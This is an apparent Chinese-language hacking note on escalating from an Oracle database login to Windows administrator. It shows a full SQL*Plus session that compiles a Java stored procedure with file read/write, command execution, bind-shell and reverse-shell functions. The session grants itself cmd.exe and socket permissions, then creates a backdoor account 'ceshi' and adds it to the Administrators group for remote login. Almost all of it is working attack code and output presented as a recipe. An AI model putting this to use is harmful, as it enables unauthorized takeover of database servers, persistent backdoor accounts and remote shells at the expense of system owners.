利用Oracle漏洞提权笔记

 1.利用已知的Oracle用户名连上数据库，并创建java提权函数

2. C:/WINDOWS/system32>sqlplus /nolog
4. SQL*Plus: Release 9.2.0.1.0 - Production on 星期日 8月 31 14:01:43 2008
6. Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.
8. SQL> conn ysreal/ysreal@(description=(address_list=(address=(protocol=tcp)(host=
9. 10.100.0.239)(port=1521)))(connect_data=(SERVICE_NAME=WORK)));
10. 已连接。
11. SQL>
12. SQL> create or replace and compile java source named paeq as
13.   2  import java.io.*;
14.   3  import java.net.*;
15.   4  public class PAEQ{
16.   5   public static String listFolder(String path){
17.   6    File f=null;
18.   7    String str="";
19.   8    f=new File(path);
20.   9    String[] files=f.list();
21.  10      if(files!=null)
22.  11    for(int i=0;i<files.length;i++){
23.  12     str+=files[i]+"/r/n";
24.  13    }
25.  14    return str;
26.  15   }
27.  16    public static String saveFile(String filepath,String value){
28.  17    FileOutputStream fos=null;
29.  18    try {
30.  19     fos=new FileOutputStream(filepath);
31.  20     fos.write(value.getBytes());
32.  21     return "OK";
33.  22    } catch (Exception e) {
34.  23     return e.getMessage();
35.  24    } finally{
36.  25     if(fos!=null){
37.  26      try {fos.close();} catch (Exception e) {}
38.  27     }
39.  28    }
40.  29   }
41.  30    public static String readFile(String pathfile,String code){
42.  31    BufferedReader br=null;
43.  32    String value="";
44.  33    try {
45.  34     br=new BufferedReader(new InputStreamReader(new FileInputStream(pathfile
46. ),code));
47.  35     String s=null;
48.  36     while((s=br.readLine())!=null){
49.  37      value+=s;
50.  38     }
51.  39     return value;
52.  40    } catch (Exception e) {
53.  41     return e.getMessage();
54.  42    } finally{
55.  43     if(br!=null){try {br.close();} catch (IOException e) {}}
56.  44    }
57.  45   }
58.  46    public static String execFile(String filepath,String code){
59.  47       int i=0;
60.  48       Runtime rt=Runtime.getRuntime();
61.  49       String output="";
62.  50       InputStreamReader isr = null;
63.  51       char[] bufferC=new char[1024];
64.  52       try{
65.  53        Process ps=rt.exec(filepath);
66.  54           isr=new InputStreamReader(ps.getInputStream(),code);
67.  55           while((i=isr.read(bufferC,0,bufferC.length))!=-1){
68.  56            output+=new String(bufferC,0,i);
69.  57           }
70.  58           return output;
71.  59       }catch(Exception e){
72.  60        return e.getMessage();
73.  61       }finally{
74.  62           if(isr!=null)try {isr.close();} catch (IOException e) {}
75.  63       }
76.  64   }
77.  65    public static String bindShell(int port){
78.  66    ServerSocket ss=null;
79.  67    Socket s=null;
80.  68    try {
81.  69     ss = new ServerSocket(port);
82.  70     s=ss.accept();
83.  71     new optShell(ss,s).start();
84.  72
85.  73     return "OK";
86.  74    } catch (Exception e) {
87.  75     return e.getMessage();
88.  76    }
89.  77   }
90.  78    public static String reverseShell(String host,int port){
91.  79    Socket s=null;
92.  80    try{
93.  81     s=new Socket(host,port);
94.  82     new optShell(null,s).start();
95.  83     return "OK";
96.  84    }catch(Exception e){
97.  85     return e.getMessage();
98.  86    }
99.  87   }
100.  88   public static class optShell extends Thread{
101.  89    OutputStream os=null;
102.  90    InputStream is=null;
103.  91      ServerSocket ss;
104.  92      Socket s;
105.  93    public optShell(ServerSocket ss,Socket s){
106.  94     this.ss=ss;
107.  95        this.s=s;
108.  96        try{
109.  97          this.is=s.getInputStream();
110.  98          this.os=s.getOutputStream();
111.  99        }catch(Exception e){
112. 100         if(os!=null)try {os.close();} catch(Exception ex) {}
113. 101      if(is!=null)try {is.close();} catch(Exception ex) {}
114. 102          if(s!=null)try {s.close();} catch(Exception ex) {}
115. 103          if(ss!=null)try {ss.close();} catch(Exception ex) {}
116. 104        }
117. 105    }
118. 106    public void run(){
119. 107     BufferedReader br=new BufferedReader(new InputStreamReader(is));
120. 108     String line="";
121. 109     String cmdhelp="Command:/r/nlist /r/nsave/r/nread/r/nexec/r/nexit/r/n";
122. 110     try {
123. 111          //os.write(cmdhelp.getBytes());
124. 112      line=br.readLine();
125. 113      while(!"exit".equals(line)){
126. 114       if(line.length()>3){
127. 115        StringBuffer sb=new StringBuffer(line.trim());
128. 116        String cmd=sb.substring(0, 4);
129. 117        if(cmd.equals("list")){
130. 118         os.write("input you path:/r/n".getBytes());
131. 119         line=br.readLine();
132. 120         os.write(listFolder(line).getBytes());
133. 121        }else if("save".equals(cmd)){
134. 122         os.write("input you filepath:/r/n".getBytes());
135. 123         line=br.readLine();
136. 124         os.write("input you value:/r/n".getBytes());
137. 125         os.write(saveFile(line,br.readLine()).getBytes());
138. 126        }else if("read".equals(cmd)){
139. 127         os.write("input you filepath:/r/n".getBytes());
140. 128         line=br.readLine();
141. 129         os.write("input you code examle:GBK/r/n".getBytes());
142. 130         os.write(readFile(line,br.readLine()).getBytes());
143. 131        }else if("exec".equals(cmd)){
144. 132         os.write("input you run filepath:/r/n".getBytes());
145. 133         line=br.readLine();
146. 134         os.write("input you code examle:GBK/r/n".getBytes());
147. 135         os.write(execFile(line,br.readLine()).getBytes());
148. 136        }else{
149. 137         os.write(cmdhelp.getBytes());
150. 138        }
151. 139       }else{
152. 140        os.write(cmdhelp.getBytes());
153. 141       }
154. 142       line=br.readLine();
155. 143      }
156. 144     } catch (Exception e) {
157. 145      e.printStackTrace();
158. 146     }finally{
159. 147      if(os!=null)try {os.close();} catch(Exception e) {}
160. 148      if(is!=null)try {is.close();} catch(Exception e) {}
161. 149          if(s!=null)try {s.close();} catch(Exception e) {}
162. 150          if(ss!=null)try {ss.close();} catch(Exception e) {}
163. 151     }
164. 152    }
165. 153   }
166. 154  }
167. 155  /
169. Java 已创建。
171. SQL> create or replace function PAEQ_LISTFOLDER(str varchar2) return varchar2
172.   2  as language java name 'PAEQ.listFolder(java.lang.String) return java.lang.S
173. tring';
174.   3  /
176. 函数已创建。
178. SQL> create or replace function PAEQ_SAVEFILE(p varchar2,v varchar2) return varc
179. har2
180.   2  as language java name 'PAEQ.saveFile(java.lang.String,java.lang.String) ret
181. urn java.lang.String';
182.   3  /
184. 函数已创建。
186. SQL> create or replace function PAEQ_READFILE(p varchar2,c varchar2) return varc
187. har2
188.   2  as language java name 'PAEQ.readFile(java.lang.String,java.lang.String) ret
189. urn java.lang.String';
190.   3  /
192. 函数已创建。
194. SQL> create or replace function PAEQ_EXECFILE(fp varchar2,c varchar2) return var
195. char2
196.   2  as language java name 'PAEQ.execFile(java.lang.String,java.lang.String) ret
197. urn java.lang.String';
198.   3  /
200. 函数已创建。
202. SQL> create or replace function PAEQ_BINDSHELL(port number) return varchar2
203.   2  as language java name 'PAEQ.bindShell(int) return java.lang.String';/
204.   3  /
206. 警告: 创建的函数带有编译错误。
208. SQL> create or replace function PAEQ_BINDSHELL(port number) return varchar2
209.   2  as language java name 'PAEQ.bindShell(int) return java.lang.String';
210.   3  /
212. 函数已创建。

2.授予权限

1. SQL> begin
2.   2  Dbms_Java.Grant_Permission('YSREAL','java.io.FilePermission','c:/WINDOWS/sy
3. stem32/cmd.exe','read,write,execute,delete');
4.   3  Dbms_Java.Grant_Permission('YSREAL','java.lang.RuntimePermission','*','writ
5. eFileDescriptor');
6.   4  Dbms_Java.grant_permission('YSREAL','java.net.SocketPermission','*:*','acce
7. pt,connect,listen,resolve');
8.   5  end;
9.   6  /
11. PL/SQL 过程已成功完成。

3.添加操作系统用户

1. SQL> select PAEQ_EXECFILE('C:/WINDOWS/system32/cmd.exe /c net user ceshi ceshi /
2. add','GBK') from dual;
4. PAEQ_EXECFILE('C:/WINDOWS/SYSTEM32/CMD.EXE/CNETUSERCESHICESHI/ADD','GBK')
5. --------------------------------------------------------------------------------
9. SQL> select PAEQ_EXECFILE('C:/WINDOWS/system32/cmd.exe /c net localgroup Adminis
10. trators ceshi /add','GBK') from dual;
12. PAEQ_EXECFILE('C:/WINDOWS/SYSTEM32/CMD.EXE/CNETLOCALGROUPADMINISTRATORSCESHI/ADD
14. --------------------------------------------------------------------------------

大功告成，如果系统默认开了远程就可以直接拿用户"ceshi"进行远程连接了。